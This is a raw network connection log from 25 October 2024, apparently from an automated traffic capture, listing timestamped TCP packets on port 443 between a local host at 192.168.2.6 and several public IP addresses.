Oct 25, 2024 10:19:18.385852098 CEST	443	49953	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:18.430174112 CEST	443	49953	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:18.430434942 CEST	49953	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:18.432770967 CEST	49953	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:18.432801008 CEST	443	49953	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:18.545902967 CEST	443	49959	151.101.130.137	192.168.2.6
Oct 25, 2024 10:19:18.546278954 CEST	49959	443	192.168.2.6	151.101.130.137
Oct 25, 2024 10:19:18.546294928 CEST	443	49959	151.101.130.137	192.168.2.6
Oct 25, 2024 10:19:18.548341036 CEST	443	49959	151.101.130.137	192.168.2.6
Oct 25, 2024 10:19:18.548717976 CEST	49959	443	192.168.2.6	151.101.130.137
Oct 25, 2024 10:19:18.548919916 CEST	49959	443	192.168.2.6	151.101.130.137
Oct 25, 2024 10:19:18.548919916 CEST	49959	443	192.168.2.6	151.101.130.137
Oct 25, 2024 10:19:18.549115896 CEST	443	49959	151.101.130.137	192.168.2.6
Oct 25, 2024 10:19:18.644484043 CEST	443	49958	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:18.646411896 CEST	49958	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:18.646430969 CEST	443	49958	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:18.647095919 CEST	443	49958	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:18.659231901 CEST	443	49957	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:18.686024904 CEST	49959	443	192.168.2.6	151.101.130.137
Oct 25, 2024 10:19:18.686043978 CEST	443	49959	151.101.130.137	192.168.2.6
Oct 25, 2024 10:19:18.779360056 CEST	49958	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:18.785753965 CEST	49959	443	192.168.2.6	151.101.130.137
Oct 25, 2024 10:19:18.785763979 CEST	49957	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:18.793502092 CEST	443	49959	151.101.130.137	192.168.2.6
Oct 25, 2024 10:19:18.793519974 CEST	443	49959	151.101.130.137	192.168.2.6
Oct 25, 2024 10:19:18.793585062 CEST	443	49959	151.101.130.137	192.168.2.6
Oct 25, 2024 10:19:18.793600082 CEST	443	49959	151.101.130.137	192.168.2.6
Oct 25, 2024 10:19:18.793612003 CEST	49959	443	192.168.2.6	151.101.130.137
Oct 25, 2024 10:19:18.793620110 CEST	443	49959	151.101.130.137	192.168.2.6
Oct 25, 2024 10:19:18.793646097 CEST	49959	443	192.168.2.6	151.101.130.137
Oct 25, 2024 10:19:18.793649912 CEST	443	49959	151.101.130.137	192.168.2.6
Oct 25, 2024 10:19:18.793740988 CEST	49959	443	192.168.2.6	151.101.130.137
Oct 25, 2024 10:19:18.793800116 CEST	49959	443	192.168.2.6	151.101.130.137
Oct 25, 2024 10:19:18.797398090 CEST	443	49959	151.101.130.137	192.168.2.6
Oct 25, 2024 10:19:18.797405958 CEST	443	49959	151.101.130.137	192.168.2.6
Oct 25, 2024 10:19:18.797444105 CEST	443	49959	151.101.130.137	192.168.2.6
Oct 25, 2024 10:19:18.797454119 CEST	443	49959	151.101.130.137	192.168.2.6
Oct 25, 2024 10:19:18.797465086 CEST	49959	443	192.168.2.6	151.101.130.137
Oct 25, 2024 10:19:18.797472000 CEST	443	49959	151.101.130.137	192.168.2.6
Oct 25, 2024 10:19:18.797519922 CEST	49959	443	192.168.2.6	151.101.130.137
Oct 25, 2024 10:19:18.797519922 CEST	49959	443	192.168.2.6	151.101.130.137
Oct 25, 2024 10:19:18.797525883 CEST	443	49959	151.101.130.137	192.168.2.6
Oct 25, 2024 10:19:18.797872066 CEST	49959	443	192.168.2.6	151.101.130.137
Oct 25, 2024 10:19:18.807845116 CEST	49958	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:18.808043957 CEST	443	49958	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:18.816078901 CEST	49957	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:18.816107988 CEST	443	49957	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:18.817631960 CEST	443	49957	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:18.824771881 CEST	49957	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:18.824990988 CEST	443	49957	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:18.825439930 CEST	49958	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:18.826484919 CEST	49957	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:18.867333889 CEST	443	49957	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:18.871328115 CEST	443	49958	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:18.912035942 CEST	443	49959	151.101.130.137	192.168.2.6
Oct 25, 2024 10:19:18.912045956 CEST	443	49959	151.101.130.137	192.168.2.6
Oct 25, 2024 10:19:18.912102938 CEST	443	49959	151.101.130.137	192.168.2.6
Oct 25, 2024 10:19:18.912117958 CEST	443	49959	151.101.130.137	192.168.2.6
Oct 25, 2024 10:19:18.912127018 CEST	49959	443	192.168.2.6	151.101.130.137
Oct 25, 2024 10:19:18.912142038 CEST	443	49959	151.101.130.137	192.168.2.6
Oct 25, 2024 10:19:18.912240028 CEST	49959	443	192.168.2.6	151.101.130.137
Oct 25, 2024 10:19:18.913888931 CEST	443	49959	151.101.130.137	192.168.2.6
Oct 25, 2024 10:19:18.913906097 CEST	443	49959	151.101.130.137	192.168.2.6
Oct 25, 2024 10:19:18.914019108 CEST	49959	443	192.168.2.6	151.101.130.137
Oct 25, 2024 10:19:18.914041996 CEST	443	49959	151.101.130.137	192.168.2.6
Oct 25, 2024 10:19:18.914180994 CEST	49959	443	192.168.2.6	151.101.130.137
Oct 25, 2024 10:19:18.914773941 CEST	443	49959	151.101.130.137	192.168.2.6
Oct 25, 2024 10:19:18.914789915 CEST	443	49959	151.101.130.137	192.168.2.6
Oct 25, 2024 10:19:18.914827108 CEST	49959	443	192.168.2.6	151.101.130.137
Oct 25, 2024 10:19:18.914836884 CEST	443	49959	151.101.130.137	192.168.2.6
Oct 25, 2024 10:19:18.914920092 CEST	49959	443	192.168.2.6	151.101.130.137
Oct 25, 2024 10:19:18.914920092 CEST	49959	443	192.168.2.6	151.101.130.137
Oct 25, 2024 10:19:18.915499926 CEST	443	49959	151.101.130.137	192.168.2.6
Oct 25, 2024 10:19:18.915584087 CEST	443	49959	151.101.130.137	192.168.2.6
Oct 25, 2024 10:19:18.915620089 CEST	49959	443	192.168.2.6	151.101.130.137
Oct 25, 2024 10:19:18.915669918 CEST	49959	443	192.168.2.6	151.101.130.137
Oct 25, 2024 10:19:18.970467091 CEST	443	49957	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:18.970480919 CEST	443	49957	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:18.970573902 CEST	49957	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:18.970597982 CEST	443	49957	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:18.971373081 CEST	49957	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:18.971697092 CEST	443	49957	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:18.971761942 CEST	443	49957	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:18.971812010 CEST	49957	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:18.976288080 CEST	443	49958	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:18.976300955 CEST	443	49958	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:18.976371050 CEST	49958	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:18.976386070 CEST	443	49958	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:18.976423979 CEST	49958	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:18.977809906 CEST	443	49958	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:18.977869034 CEST	443	49958	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:18.979324102 CEST	49958	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:19.017365932 CEST	49961	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:19.017401934 CEST	443	49961	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:19.017573118 CEST	49961	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:19.020608902 CEST	49966	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:19.020631075 CEST	443	49966	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:19.020690918 CEST	49966	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:19.023488998 CEST	49958	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:19.023499012 CEST	443	49958	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:19.024436951 CEST	49957	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:19.024461031 CEST	443	49957	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:19.025574923 CEST	49961	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:19.025609970 CEST	443	49961	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:19.027122974 CEST	49966	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:19.027133942 CEST	443	49966	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:19.308936119 CEST	49967	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:19.309019089 CEST	443	49967	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:19.309206009 CEST	49967	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:19.314698935 CEST	49967	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:19.314729929 CEST	443	49967	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:19.498078108 CEST	49959	443	192.168.2.6	151.101.130.137
Oct 25, 2024 10:19:19.498101950 CEST	443	49959	151.101.130.137	192.168.2.6
Oct 25, 2024 10:19:19.643367052 CEST	443	49966	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:19.643743992 CEST	49966	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:19.643757105 CEST	443	49966	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:19.644196033 CEST	443	49966	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:19.644938946 CEST	49966	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:19.645006895 CEST	443	49966	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:19.645155907 CEST	49966	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:19.663858891 CEST	49980	443	192.168.2.6	52.108.10.12
Oct 25, 2024 10:19:19.663872957 CEST	443	49980	52.108.10.12	192.168.2.6
Oct 25, 2024 10:19:19.663964987 CEST	49980	443	192.168.2.6	52.108.10.12
Oct 25, 2024 10:19:19.664196968 CEST	49980	443	192.168.2.6	52.108.10.12
Oct 25, 2024 10:19:19.664206028 CEST	443	49980	52.108.10.12	192.168.2.6
Oct 25, 2024 10:19:19.691328049 CEST	443	49966	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:19.771202087 CEST	443	49961	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:19.772038937 CEST	49961	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:19.772056103 CEST	443	49961	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:19.775681973 CEST	443	49961	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:19.775842905 CEST	49961	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:19.775852919 CEST	443	49961	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:19.775897980 CEST	49961	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:19.776175976 CEST	49961	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:19.776340008 CEST	443	49961	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:19.776365995 CEST	49961	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:19.780483007 CEST	443	49966	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:19.780778885 CEST	443	49966	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:19.780864000 CEST	443	49966	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:19.780924082 CEST	49966	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:19.780945063 CEST	443	49966	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:19.780973911 CEST	443	49966	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:19.781023026 CEST	49966	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:19.781060934 CEST	443	49966	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:19.781212091 CEST	443	49966	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:19.781259060 CEST	49966	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:19.781274080 CEST	443	49966	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:19.781354904 CEST	49966	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:19.808942080 CEST	49981	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:19.808979988 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:19.809088945 CEST	49981	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:19.809411049 CEST	49981	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:19.809421062 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:19.823328972 CEST	443	49961	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:19.883508921 CEST	49961	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:19.883568048 CEST	443	49961	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:19.899786949 CEST	443	49966	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:19.899990082 CEST	443	49966	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:19.900068998 CEST	49966	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:19.900088072 CEST	443	49966	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:19.900120020 CEST	443	49966	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:19.900177002 CEST	49966	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:19.900222063 CEST	443	49966	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:19.900393963 CEST	443	49966	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:19.900453091 CEST	49966	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:19.900482893 CEST	443	49966	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:19.900587082 CEST	443	49966	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:19.900814056 CEST	49966	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:19.900830030 CEST	443	49966	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:19.900993109 CEST	443	49966	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:19.901051044 CEST	49966	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:19.901065111 CEST	443	49966	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:19.901196957 CEST	443	49966	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:19.901360035 CEST	443	49966	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:19.901421070 CEST	49966	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:19.901556969 CEST	49966	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:19.901587009 CEST	443	49966	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:19.906744003 CEST	49982	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:19.906780958 CEST	443	49982	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:19.906951904 CEST	49982	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:19.907169104 CEST	49982	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:19.907181978 CEST	443	49982	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:19.922070026 CEST	443	49961	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:19.922130108 CEST	443	49961	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:19.922139883 CEST	49961	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:19.922157049 CEST	443	49967	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:19.922173977 CEST	443	49961	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:19.922190905 CEST	49961	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:19.922419071 CEST	49967	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:19.922432899 CEST	443	49967	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:19.923015118 CEST	49961	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:19.923090935 CEST	443	49961	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:19.923158884 CEST	49961	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:19.923527956 CEST	443	49967	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:19.923597097 CEST	49967	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:19.923907042 CEST	49967	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:19.923970938 CEST	443	49967	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:19.924046040 CEST	49967	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:19.924056053 CEST	443	49967	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:19.991727114 CEST	49967	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:20.064244032 CEST	443	49967	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:20.064388990 CEST	443	49967	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:20.064493895 CEST	443	49967	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:20.064577103 CEST	443	49967	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:20.064651966 CEST	49967	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:20.064659119 CEST	443	49967	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:20.064688921 CEST	443	49967	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:20.064841032 CEST	443	49967	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:20.064901114 CEST	49967	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:20.064925909 CEST	443	49967	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:20.067364931 CEST	49967	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:20.067379951 CEST	443	49967	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:20.110693932 CEST	49983	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:20.110733986 CEST	443	49983	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:20.110847950 CEST	49983	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:20.111408949 CEST	49983	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:20.111419916 CEST	443	49983	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:20.181411982 CEST	443	49967	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:20.181447029 CEST	443	49967	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:20.181474924 CEST	443	49967	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:20.181565046 CEST	49967	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:20.181566000 CEST	49967	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:20.181601048 CEST	443	49967	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:20.181842089 CEST	443	49967	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:20.181883097 CEST	49967	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:20.181891918 CEST	443	49967	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:20.181936026 CEST	443	49967	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:20.181987047 CEST	49967	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:20.181996107 CEST	443	49967	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:20.182604074 CEST	443	49967	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:20.182631969 CEST	443	49967	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:20.182687998 CEST	49967	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:20.182697058 CEST	443	49967	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:20.182821989 CEST	49967	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:20.182831049 CEST	443	49967	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:20.183429003 CEST	443	49967	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:20.183460951 CEST	443	49967	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:20.183474064 CEST	49967	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:20.183481932 CEST	443	49967	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:20.183532000 CEST	443	49967	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:20.183729887 CEST	49967	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:20.183741093 CEST	443	49967	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:20.183995008 CEST	49967	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:20.184258938 CEST	443	49967	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:20.184308052 CEST	443	49967	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:20.184345961 CEST	443	49967	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:20.184382915 CEST	49967	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:20.184391022 CEST	443	49967	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:20.184432030 CEST	49967	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:20.185065985 CEST	443	49967	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:20.283799887 CEST	49985	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:20.283876896 CEST	443	49985	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:20.283951044 CEST	49985	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:20.284184933 CEST	49985	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:20.284219980 CEST	443	49985	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:20.299422026 CEST	443	49967	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:20.299462080 CEST	443	49967	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:20.299489021 CEST	443	49967	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:20.299514055 CEST	443	49967	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:20.299530029 CEST	49967	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:20.299540997 CEST	443	49967	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:20.299602032 CEST	443	49967	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:20.299632072 CEST	443	49967	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:20.299638033 CEST	49967	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:20.299638987 CEST	49967	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:20.299695969 CEST	49967	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:20.299979925 CEST	49967	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:20.300009012 CEST	443	49967	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:20.427942038 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.428240061 CEST	49981	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:20.428251028 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.428582907 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.429137945 CEST	49981	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:20.429192066 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.429527998 CEST	49981	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:20.441749096 CEST	443	49980	52.108.10.12	192.168.2.6
Oct 25, 2024 10:19:20.442071915 CEST	49980	443	192.168.2.6	52.108.10.12
Oct 25, 2024 10:19:20.442082882 CEST	443	49980	52.108.10.12	192.168.2.6
Oct 25, 2024 10:19:20.446177006 CEST	443	49980	52.108.10.12	192.168.2.6
Oct 25, 2024 10:19:20.446353912 CEST	49980	443	192.168.2.6	52.108.10.12
Oct 25, 2024 10:19:20.446362019 CEST	443	49980	52.108.10.12	192.168.2.6
Oct 25, 2024 10:19:20.446465015 CEST	49980	443	192.168.2.6	52.108.10.12
Oct 25, 2024 10:19:20.447340965 CEST	49980	443	192.168.2.6	52.108.10.12
Oct 25, 2024 10:19:20.447340965 CEST	49980	443	192.168.2.6	52.108.10.12
Oct 25, 2024 10:19:20.447582960 CEST	443	49980	52.108.10.12	192.168.2.6
Oct 25, 2024 10:19:20.475322008 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.516477108 CEST	443	49982	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.516824007 CEST	49982	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:20.516840935 CEST	443	49982	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.517277002 CEST	443	49982	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.519373894 CEST	49982	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:20.519455910 CEST	443	49982	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.519509077 CEST	49982	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:20.567325115 CEST	443	49982	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.567401886 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.567534924 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.567600012 CEST	49981	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:20.567608118 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.567704916 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.567781925 CEST	49981	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:20.567794085 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.567882061 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.567961931 CEST	49981	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:20.567970037 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.567996979 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.568053961 CEST	49981	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:20.568089008 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.572352886 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.572453976 CEST	49981	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:20.572460890 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.582154036 CEST	49982	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:20.582186937 CEST	49980	443	192.168.2.6	52.108.10.12
Oct 25, 2024 10:19:20.582195997 CEST	443	49980	52.108.10.12	192.168.2.6
Oct 25, 2024 10:19:20.601738930 CEST	443	49980	52.108.10.12	192.168.2.6
Oct 25, 2024 10:19:20.601881981 CEST	49980	443	192.168.2.6	52.108.10.12
Oct 25, 2024 10:19:20.603877068 CEST	49980	443	192.168.2.6	52.108.10.12
Oct 25, 2024 10:19:20.603899002 CEST	443	49980	52.108.10.12	192.168.2.6
Oct 25, 2024 10:19:20.627615929 CEST	49981	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:20.653677940 CEST	443	49982	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.653780937 CEST	443	49982	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.653862000 CEST	49982	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:20.654659986 CEST	49982	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:20.654678106 CEST	443	49982	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.683224916 CEST	49988	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:20.683273077 CEST	443	49988	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:20.683356047 CEST	49988	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:20.683721066 CEST	49988	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:20.683737040 CEST	443	49988	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:20.686031103 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.686172962 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.686206102 CEST	443	49981	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:20.686233997 CEST	49981	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:20.686245918 CEST	443	49981	104.18.95.41	192.168.2.6
